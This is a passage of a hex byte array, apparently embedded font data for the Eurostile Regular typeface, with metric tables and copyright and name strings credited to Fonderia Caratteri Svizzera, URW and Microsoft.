- 0x9a,0x0,0x75,0x4,0xe9,0x0,0x9a,0x4,0xe8,0x0,0xec,0x4,0xe8,0x0,0xec,0x4,
- 0xe9,0x1,0x7,0x1,0x43,0x0,0x5d,0x2,0x7f,0x0,0x5d,0x5,0xa,0x0,0x52,0x4,
- 0xe8,0x0,0x5e,0x2,0xed,0x0,0x5d,0x4,0xe8,0x0,0x9b,0x4,0xe8,0x0,0x9b,0x4,
- 0xe8,0x0,0x9b,0x6,0x5e,0xff,0xfd,0x4,0xec,0x0,0x60,0x5,0x55,0x0,0x72,0x1,
- 0x96,0x0,0x6d,0x1,0x96,0x0,0x7b,0x3,0xf,0x0,0xab,0x3,0xf,0x0,0xab,0x3,
- 0x45,0x0,0x75,0x3,0x45,0x0,0x84,0x4,0xe9,0x0,0x94,0x1,0x11,0xfe,0x86,0x6,
- 0x49,0x0,0x22,0x9,0x21,0x0,0x22,0x5,0x2b,0xff,0x78,0x4,0x0,0x0,0xfa,0x3,
- 0xf9,0x1,0xb0,0x4,0x0,0x1,0x63,0x4,0x0,0x1,0x8b,0x4,0x0,0x1,0x1e,0x4,
- 0x0,0x0,0xf9,0x4,0x0,0x0,0xf9,0x4,0x0,0x0,0xf7,0x4,0x0,0x0,0xeb,0x4,
- 0x0,0x1,0x25,0x4,0x0,0x1,0x93,0x4,0x0,0x2,0x15,0x3,0xff,0x1,0x5,0x5,
- 0xf7,0x0,0x44,0x5,0xf7,0x0,0x44,0x2,0x38,0x0,0x0,0x4,0x27,0x0,0x0,0x4,
- 0xe1,0x0,0x0,0x3,0x78,0x0,0x0,0x5,0x55,0x0,0x0,0x2,0x6a,0x0,0x0,0x3,
- 0xd8,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3,
- 0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x5,0xa,0x0,0x0,0x4,0xfd,0x0,0x0,0x4,
- 0x9e,0x0,0x0,0x3,0x7f,0x0,0x0,0x3,0x92,0x0,0x0,0x0,0x8c,0x0,0x0,0x4,
- 0x0,0x0,0x0,0x4,0x28,0x0,0x0,0x3,0xd8,0x0,0x0,0x3,0x39,0x0,0x0,0x4,
- 0xe1,0x0,0x0,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,
- 0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x3,0xfc,0x0,0x4b,0x3,
- 0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x1,0xa0,0x0,0x15,0x1,
- 0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1,0xa0,0xff,0xae,0x5,0x92,0x0,0x82,0x4,
- 0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,
- 0xe8,0x0,0x2f,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5,
- 0x3d,0x0,0x83,0x4,0x80,0xff,0xf6,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,
- 0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,
- 0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x1,
- 0x81,0xff,0xf0,0x1,0x81,0x0,0x59,0x1,0x81,0xff,0xd1,0x1,0x81,0xff,0xd5,0x4,
- 0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,
- 0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x4,
- 0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x3,0x1c,0xff,0xf9,0x5,0x39,0x0,0x0,0x4,
- 0xb8,0x0,0x82,0x4,0xc,0x0,0x60,0x4,0x15,0x0,0x7b,0x3,0x31,0x0,0x8c,0x3,
- 0x3a,0x0,0x50,0x3,0x3a,0x0,0x4c,0x4,0xe8,0x0,0xc2,0x7,0x85,0x0,0x8c,0x7,
- 0x84,0x0,0x8c,0x7,0x84,0x0,0x4c,0x0,0x8c,0x0,0x0,0x4,0xde,0x1,0x69,0x4,
- 0xde,0x2,0xe,0x4,0xde,0x1,0x6a,0x4,0xde,0x1,0x32,0x4,0xde,0x1,0x48,0x4,
- 0xde,0x1,0xd2,0x3,0xfc,0x1,0x6,0x3,0xfc,0x1,0x8f,0x3,0xfc,0x1,0x30,0x3,
- 0xfc,0x0,0xce,0x1,0xa0,0x0,0x15,0x1,0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1,
- 0xa0,0xff,0xae,0x5,0x92,0x1,0xa2,0x4,0xe8,0x1,0x6e,0x4,0xe8,0x1,0xf8,0x4,
- 0xe8,0x1,0x98,0x4,0xe8,0x1,0x37,0x4,0xe8,0x1,0x54,0x4,0x7a,0x1,0x0,0x4,
- 0x7a,0x0,0x3d,0x5,0x3e,0x1,0x99,0x5,0x3e,0x2,0x23,0x5,0x3e,0x1,0xc3,0x5,
- 0x3e,0x1,0x62,0x4,0x7f,0x1,0xdf,0x4,0x80,0xff,0xf6,0x4,0x7f,0x1,0x3a,0x4,
- 0x13,0x0,0x58,0x1,0x81,0xff,0xf0,0x3,0xca,0x0,0x4f,0x3,0x1c,0xff,0xf9,0x0,
- 0x0,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x65,0x0,0xcc,0x1,
- 0x28,0x1,0x6a,0x1,0xa7,0x1,0xdc,0x2,0x47,0x2,0x83,0x2,0xa0,0x2,0xe4,0x3,
- 0x29,0x3,0x4f,0x3,0xde,0x4,0x4b,0x4,0x96,0x4,0xe2,0x5,0x41,0x5,0xa7,0x6,
- 0xc,0x6,0x39,0x6,0x80,0x6,0xc0,0x7,0x50,0x7,0xb0,0x8,0x5,0x8,0x4b,0x8,
- 0xac,0x9,0x34,0x9,0xb2,0xa,0x25,0xa,0x90,0xa,0xec,0xb,0x2f,0xb,0x8c,0xb,
- 0xdf,0xc,0x31,0xc,0xa7,0xc,0xf6,0xd,0x26,0xd,0x76,0xd,0xbc,0xd,0xd9,0xe,
- 0x47,0xe,0x92,0xe,0xcd,0xf,0x28,0xf,0x84,0xf,0xcf,0x10,0x25,0x10,0x85,0x10,
- 0xce,0x11,0xf,0x11,0x8c,0x11,0xcb,0x12,0x27,0x12,0x61,0x13,0xf,0x13,0x93,0x14,
- 0x8,0x14,0x80,0x14,0x9d,0x15,0x14,0x15,0x79,0x15,0xd3,0x16,0x7,0x16,0x63,0x16,
- 0xde,0x17,0x31,0x17,0x99,0x18,0x10,0x18,0x40,0x18,0xba,0x19,0x2a,0x19,0x6b,0x19,
- 0xf8,0x1a,0xa2,0x1b,0xa,0x1b,0x69,0x1b,0xdb,0x1b,0xf7,0x1c,0x25,0x1c,0x3f,0x1c,
- 0x7d,0x1c,0xb4,0x1c,0xfd,0x1d,0x35,0x1d,0x99,0x1d,0xfd,0x1e,0x5f,0x1e,0x8d,0x1e,
- 0xbc,0x1f,0x11,0x1f,0x66,0x1f,0xb3,0x20,0x0,0x20,0x35,0x20,0x6a,0x20,0x88,0x20,
- 0xa3,0x20,0xbd,0x20,0xd8,0x21,0x21,0x21,0x69,0x21,0x93,0x21,0xbd,0x22,0x51,0x22,
- 0xdb,0x23,0x17,0x23,0x6e,0x23,0xc1,0x23,0xdd,0x24,0xb,0x24,0xa7,0x25,0x27,0x25,
- 0x5f,0x25,0x97,0x25,0xdc,0x26,0x7,0x26,0x96,0x26,0xd8,0x27,0x4f,0x27,0x86,0x27,
- 0xbe,0x28,0x22,0x28,0x8a,0x29,0x4,0x29,0x55,0x29,0x9e,0x29,0xbc,0x2a,0x3c,0x2a,
- 0xeb,0x2b,0x7,0x2b,0x33,0x2b,0x4d,0x2b,0x7f,0x2b,0x9e,0x2b,0xbe,0x2b,0xe3,0x2c,
- 0x8,0x2c,0x2f,0x2c,0x66,0x2c,0x92,0x2c,0xb0,0x2c,0xe0,0x2c,0xfb,0x2d,0x86,0x2e,
- 0x22,0x2e,0x43,0x2e,0x85,0x2e,0xb3,0x2f,0xf,0x2f,0x67,0x2f,0xbe,0x30,0x25,0x30,
- 0x59,0x30,0x8b,0x30,0xd1,0x31,0x16,0x31,0x38,0x31,0x99,0x31,0xec,0x32,0x47,0x32,
- 0xa4,0x32,0xcf,0x32,0xeb,0x33,0x4,0x33,0x3a,0x33,0x76,0x33,0xbd,0x34,0x1f,0x34,
- 0x2a,0x34,0x35,0x34,0x40,0x34,0x4b,0x34,0x56,0x34,0x61,0x34,0x6c,0x34,0x77,0x34,
- 0x82,0x34,0x8d,0x34,0x98,0x34,0xa3,0x34,0xae,0x34,0xb9,0x34,0xc4,0x34,0xcf,0x34,
- 0xda,0x34,0xe5,0x34,0xf0,0x34,0xfb,0x35,0x6,0x35,0x11,0x35,0x1c,0x35,0x27,0x35,
- 0x32,0x35,0x3d,0x35,0x48,0x35,0x53,0x35,0x5e,0x35,0x69,0x35,0x74,0x35,0x7f,0x35,
- 0x8a,0x35,0x95,0x35,0xa0,0x35,0xab,0x35,0xb7,0x35,0xc3,0x35,0xfd,0x36,0x8,0x36,
- 0x13,0x36,0x1e,0x36,0x29,0x36,0x34,0x36,0x3f,0x36,0x4a,0x36,0x55,0x36,0x60,0x36,
- 0x6b,0x36,0x76,0x36,0xd6,0x37,0x27,0x37,0x91,0x37,0xeb,0x38,0x19,0x38,0x70,0x38,
- 0xed,0x39,0x34,0x39,0xc6,0x3a,0x44,0x3b,0x15,0x3b,0x42,0x3b,0x6e,0x3b,0x8a,0x3b,
- 0xa7,0x3b,0xcc,0x3c,0x0,0x3c,0x2d,0x3c,0x59,0x3c,0x75,0x3c,0x92,0x3c,0xb7,0x3c,
- 0xe2,0x3c,0xfe,0x3d,0x1a,0x3d,0x3e,0x3d,0x72,0x3d,0x9e,0x3d,0xba,0x3d,0xd7,0x3d,
- 0xfc,0x3e,0x30,0x3e,0x55,0x3e,0x60,0x3e,0x8c,0x3e,0xa8,0x3e,0xc5,0x3e,0xea,0x3f,
- 0x6,0x3f,0x11,0x3f,0x3d,0x3f,0xa8,0x3f,0xd3,0x3f,0xde,0x3f,0xe9,0x0,0x0,0x0,
- 0x1,0x0,0x0,0x1,0xe,0x0,0x4f,0x0,0x7,0x0,0x3a,0x0,0x4,0x0,0x2,0x0,
- 0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x24,0x0,0xf0,0x0,0x2,0x0,0x1,0x0,
- 0x0,0x0,0x28,0x1,0xe6,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x87,0x0,
- 0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x9,0x0,0x87,0x0,0x1,0x0,
- 0x0,0x0,0x0,0x0,0x2,0x0,0x7,0x0,0x90,0x0,0x1,0x0,0x0,0x0,0x0,0x0,
- 0x3,0x0,0x9,0x0,0x97,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x4,0x0,0x9,0x0,
- 0xa0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x5,0x0,0xc,0x0,0xa9,0x0,0x1,0x0,
- 0x0,0x0,0x0,0x0,0x6,0x0,0x10,0x0,0xb5,0x0,0x1,0x0,0x0,0x0,0x0,0x0,
- 0x7,0x0,0x56,0x0,0xc5,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x2,0x0,0xc,0x1,
- 0x1b,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x4,0x0,0x12,0x1,0x27,0x0,0x3,0x0,
- 0x1,0x4,0x7,0x0,0x2,0x0,0x10,0x1,0x39,0x0,0x3,0x0,0x1,0x4,0x7,0x0,
- 0x4,0x0,0x12,0x1,0x49,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x0,0x1,0xe,0x1,
- 0x5b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x1,0x0,0x12,0x2,0x69,0x0,0x3,0x0,
- 0x1,0x4,0x9,0x0,0x2,0x0,0xe,0x2,0x7b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,
- 0x3,0x0,0x12,0x2,0x89,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x4,0x0,0x12,0x2,
- 0x9b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x5,0x0,0x18,0x2,0xad,0x0,0x3,0x0,
- 0x1,0x4,0x9,0x0,0x6,0x0,0x20,0x2,0xc5,0x0,0x3,0x0,0x1,0x4,0x9,0x0,
- 0x7,0x0,0xac,0x2,0xe5,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x2,0x0,0xc,0x3,
- 0x91,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x4,0x0,0x12,0x3,0x9d,0x0,0x3,0x0,
- 0x1,0x4,0xb,0x0,0x2,0x0,0x10,0x3,0xaf,0x0,0x3,0x0,0x1,0x4,0xb,0x0,
- 0x4,0x0,0x12,0x3,0xbf,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x2,0x0,0xc,0x3,
- 0xd1,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x4,0x0,0x12,0x3,0xdd,0x0,0x3,0x0,
- 0x1,0x4,0x10,0x0,0x2,0x0,0xe,0x3,0xef,0x0,0x3,0x0,0x1,0x4,0x10,0x0,
- 0x4,0x0,0x12,0x3,0xfd,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x2,0x0,0x12,0x4,
- 0xf,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x4,0x0,0x12,0x4,0x21,0x0,0x3,0x0,
- 0x1,0x4,0x14,0x0,0x2,0x0,0xc,0x4,0x33,0x0,0x3,0x0,0x1,0x4,0x14,0x0,
- 0x4,0x0,0x12,0x4,0x3f,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x2,0x0,0xc,0x4,
- 0x51,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x4,0x0,0x12,0x4,0x5d,0x0,0x3,0x0,
- 0x1,0x8,0x16,0x0,0x2,0x0,0xc,0x4,0x6f,0x0,0x3,0x0,0x1,0x8,0x16,0x0,
- 0x4,0x0,0x12,0x4,0x7b,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x2,0x0,0xc,0x4,
- 0x8d,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x4,0x0,0x12,0x4,0x99,0x0,0x3,0x0,
- 0x1,0xc,0xc,0x0,0x2,0x0,0xc,0x4,0xab,0x0,0x3,0x0,0x1,0xc,0xc,0x0,
- 0x4,0x0,0x12,0x4,0xb7,0x54,0x79,0x70,0x65,0x66,0x61,0x63,0x65,0x20,0xa9,0x20,
- 0x31,0x39,0x39,0x32,0x20,0x46,0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61,
- 0x72,0x61,0x74,0x74,0x65,0x72,0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61,
- 0x20,0x57,0x61,0x6c,0x74,0x65,0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65,
- 0x72,0x20,0x41,0x2e,0x47,0x2e,0x20,0x44,0x61,0x74,0x61,0x20,0xa9,0x20,0x31,0x39,
- 0x39,0x32,0x20,0x55,0x52,0x57,0x2e,0x20,0x50,0x6f,0x72,0x74,0x69,0x6f,0x6e,0x73,
- 0x20,0xa9,0x20,0x31,0x39,0x39,0x32,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,
- 0x74,0x20,0x43,0x6f,0x72,0x70,0x2e,0x20,0x41,0x6c,0x6c,0x20,0x72,0x69,0x67,0x68,
- 0x74,0x73,0x20,0x72,0x65,0x73,0x65,0x72,0x76,0x65,0x64,0x2e,0x45,0x75,0x72,0x6f,
- 0x73,0x74,0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f,
- 0x73,0x74,0x69,0x6c,0x65,0x45,0x75,0x72,0x6f,0x73,0x74,0x69,0x6c,0x65,0x56,0x65,
- 0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x2e,0x31,0x30,0x45,0x75,0x72,0x6f,0x73,0x74,
- 0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f,0x73,0x74,
- 0x69,0x6c,0x65,0x20,0x69,0x73,0x20,0x61,0x20,0x6c,0x69,0x63,0x65,0x6e,0x73,0x65,
- 0x64,0x20,0x74,0x72,0x61,0x64,0x65,0x6d,0x61,0x72,0x6b,0x20,0x6f,0x66,0x20,0x46,
- 0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61,0x72,0x61,0x74,0x74,0x65,0x72,
- 0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61,0x20,0x57,0x61,0x6c,0x74,0x65,
- 0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65,0x72,0x20,0x41,0x2e,0x47,0x2e,
- 0x0,0x6e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75,
- 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x53,
- 0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45,
- 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,
- 0x0,0x54,0x0,0x79,0x0,0x70,0x0,0x65,0x0,0x66,0x0,0x61,0x0,0x63,0x0,0x65,
- 0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20,
- 0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x61,
- 0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74,0x0,0x74,0x0,0x65,
- 0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69,0x0,0x7a,0x0,0x7a,
- 0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61,0x0,0x6c,0x0,0x74,
- 0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75,0x0,0x74,0x0,0x74,
- 0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41,0x0,0x2e,0x0,0x47,
- 0x0,0x2e,0x0,0x20,0x0,0x44,0x0,0x61,0x0,0x74,0x0,0x61,0x0,0x20,0x0,0xa9,
- 0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x55,0x0,0x52,
- 0x0,0x57,0x0,0x2e,0x0,0x20,0x0,0x50,0x0,0x6f,0x0,0x72,0x0,0x74,0x0,0x69,
- 0x0,0x6f,0x0,0x6e,0x0,0x73,0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39,
- 0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x4d,0x0,0x69,0x0,0x63,0x0,0x72,0x0,0x6f,
- 0x0,0x73,0x0,0x6f,0x0,0x66,0x0,0x74,0x0,0x20,0x0,0x43,0x0,0x6f,0x0,0x72,
- 0x0,0x70,0x0,0x2e,0x0,0x20,0x0,0x41,0x0,0x6c,0x0,0x6c,0x0,0x20,0x0,0x72,
- 0x0,0x69,0x0,0x67,0x0,0x68,0x0,0x74,0x0,0x73,0x0,0x20,0x0,0x72,0x0,0x65,
- 0x0,0x73,0x0,0x65,0x0,0x72,0x0,0x76,0x0,0x65,0x0,0x64,0x0,0x2e,0x0,0x45,
- 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,
- 0x0,0x52,0x0,0x65,0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45,
- 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,
- 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,
- 0x0,0x65,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e,
- 0x0,0x20,0x0,0x31,0x0,0x2e,0x0,0x31,0x0,0x30,0x0,0x45,0x0,0x75,0x0,0x72,
- 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x52,0x0,0x65,
- 0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45,0x0,0x75,0x0,0x72,
- 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x20,0x0,0x69,
- 0x0,0x73,0x0,0x20,0x0,0x61,0x0,0x20,0x0,0x6c,0x0,0x69,0x0,0x63,0x0,0x65,
- 0x0,0x6e,0x0,0x73,0x0,0x65,0x0,0x64,0x0,0x20,0x0,0x74,0x0,0x72,0x0,0x61,
- 0x0,0x64,0x0,0x65,0x0,0x6d,0x0,0x61,0x0,0x72,0x0,0x6b,0x0,0x20,0x0,0x6f,
- 0x0,0x66,0x0,0x20,0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72,
- 0x0,0x69,0x0,0x61,0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74,
- 0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69,
- 0x0,0x7a,0x0,0x7a,0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61,
- 0x0,0x6c,0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75,
- 0x0,0x74,0x0,0x74,0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41,
- 0x0,0x2e,0x0,0x47,0x0,0x2e,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,
- 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,
- 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x61,
- 0x0,0x6c,0x0,0x69,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,
- 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,
- 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,
- 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,
- 0x0,0x65,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,
- 0x0,0x6c,0x0,0x65,0x0,0x53,0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61,
- 0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,
- 0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,
- 0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,
- 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,
- 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,
- 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,
- 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,
- 0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,
- 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,
- 0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75,
- 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x0,
- 0x2,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x37,0x0,0x82,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,
- 0xe,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x0,0x0,0x24,0x0,0x25,0x0,
- 0x26,0x0,0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0,
- 0x2e,0x0,0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0,
- 0x36,0x0,0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x3d,0x0,
- 0x90,0x0,0xb0,0x0,0x91,0x0,0x64,0x0,0x44,0x0,0x45,0x0,0x46,0x0,0x47,0x0,
- 0x48,0x0,0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x4e,0x0,0x4f,0x0,
- 0x50,0x0,0x51,0x0,0x52,0x0,0x53,0x0,0x54,0x0,0x55,0x0,0x56,0x0,0x57,0x0,
- 0x58,0x0,0x59,0x0,0x5a,0x0,0x5b,0x0,0x5c,0x0,0x5d,0x0,0xa0,0x0,0xb1,0x0,
- 0xa1,0x0,0x89,0x0,0xd7,0x0,0xc0,0x0,0xc1,0x0,0x6f,0x0,0x14,0x0,0x15,0x0,
- 0x16,0x0,0x17,0x0,0x18,0x0,0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x13,0x0,
- 0x85,0x0,0x7,0x0,0x84,0x0,0xa6,0x0,0x96,0x0,0x11,0x0,0x1d,0x1,0x2,0x0,
- 0xab,0x0,0xf,0x0,0x1e,0x0,0xb6,0x0,0xb5,0x0,0xb4,0x0,0xc5,0x0,0x4,0x0,
- 0xa3,0x0,0x22,0x0,0xa2,0x0,0xaa,0x0,0xa9,0x0,0xbf,0x0,0xbe,0x0,0x12,0x0,
- 0x10,0x0,0xb2,0x0,0xb3,0x0,0xb,0x0,0xc,0x0,0x3e,0x0,0x40,0x0,0x9,0x0,
- 0x86,0x0,0x82,0x0,0xc2,0x0,0xd,0x0,0xa,0x0,0x5,0x0,0x23,0x0,0x6,0x0,
- 0x83,0x0,0xe,0x0,0xb8,0x0,0x20,0x0,0x8c,0x0,0x88,0x0,0xbd,0x0,0xc4,0x0,
- 0xb7,0x0,0x5e,0x0,0x60,0x0,0x9d,0x0,0x9e,0x0,0x93,0x0,0xbc,0x0,0x8,0x0,
- 0xc6,0x0,0x3f,0x0,0x8e,0x0,0xdc,0x0,0xdd,0x0,0x8d,0x0,0x43,0x0,0xd8,0x0,
- 0xe1,0x0,0xdb,0x0,0xd9,0x0,0xdf,0x0,0xde,0x0,0xe0,0x1,0x3,0x0,0x8b,0x0,
- 0x8a,0x0,0x87,0x0,0xb9,0x1,0x4,0x0,0x8f,0x0,0xa5,0x0,0x9c,0x0,0xa7,0x0,
- 0x1f,0x0,0x21,0x0,0x94,0x0,0x95,0x0,0xa4,0x0,0x92,0x0,0x9a,0x0,0x99,0x0,
- 0x98,0x0,0x41,0x0,0x5f,0x0,0x42,0x0,0x9b,0x0,0x61,0x0,0x97,0x0,0x9f,0x0,
- 0x62,0x0,0xc9,0x0,0xad,0x0,0xc7,0x0,0xae,0x0,0x63,0x0,0xca,0x0,0x65,0x0,
- 0xcb,0x0,0xc8,0x0,0xce,0x0,0xcc,0x0,0xcf,0x0,0xcd,0x0,0x66,0x0,0x67,0x0,
- 0xd0,0x0,0xd3,0x0,0xd1,0x0,0xaf,0x0,0x68,0x0,0xd4,0x0,0xd6,0x0,0xd5,0x0,
- 0xbb,0x0,0x6c,0x0,0x69,0x0,0x6a,0x0,0x6b,0x0,0x6d,0x0,0x6e,0x0,0x73,0x0,
- 0x70,0x0,0x71,0x0,0x72,0x0,0x77,0x0,0x74,0x0,0x75,0x0,0x76,0x0,0x78,0x0,
- 0x7c,0x0,0x79,0x0,0x7a,0x0,0x7b,0x0,0x7d,0x0,0x81,0x0,0x7e,0x0,0x7f,0x0,
- 0x80,0x0,0xba,0x0,0xe9,0x0,0xed,0x0,0xea,0x0,0xee,0x0,0xf1,0x0,0xf2,0x0,
